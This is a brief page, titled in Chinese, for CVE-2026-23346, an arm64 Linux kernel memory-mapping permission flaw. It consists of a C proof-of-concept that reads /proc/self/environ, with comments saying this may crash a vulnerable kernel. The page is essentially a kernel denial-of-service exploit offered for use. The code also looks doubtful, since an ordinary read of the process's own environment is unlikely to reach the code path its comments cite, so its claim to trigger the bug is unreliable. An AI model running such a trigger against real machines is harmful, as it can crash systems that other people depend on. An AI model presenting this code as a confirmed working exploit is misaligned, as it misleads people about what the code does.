CVE-2026-23346 Linux内核arm64内存映射权限错误漏洞

#include <stdio.h> #include <unistd.h> #include <fcntl.h> // PoC for CVE-2026-23346 // This PoC attempts to trigger the vulnerability by reading /proc/self/environ. // The call trace indicates environ_read -> access_remote_vm -> generic_access_phys. // On a vulnerable kernel with PAN enabled, this may cause a kernel crash (DoS). int main() { int fd; char buffer[4096]; ssize_t bytes_read; printf("Attempting to read /proc/self/environ to trigger potential kernel path...\n"); fd = open("/proc/self/environ", O_RDONLY); if (fd < 0) { perror("open"); return 1; } bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { buffer[bytes_read] = '\0'; printf("Read %zd bytes. If kernel crashes, vulnerability is triggered.\n", bytes_read); } else { perror("read"); } close(fd); return 0; }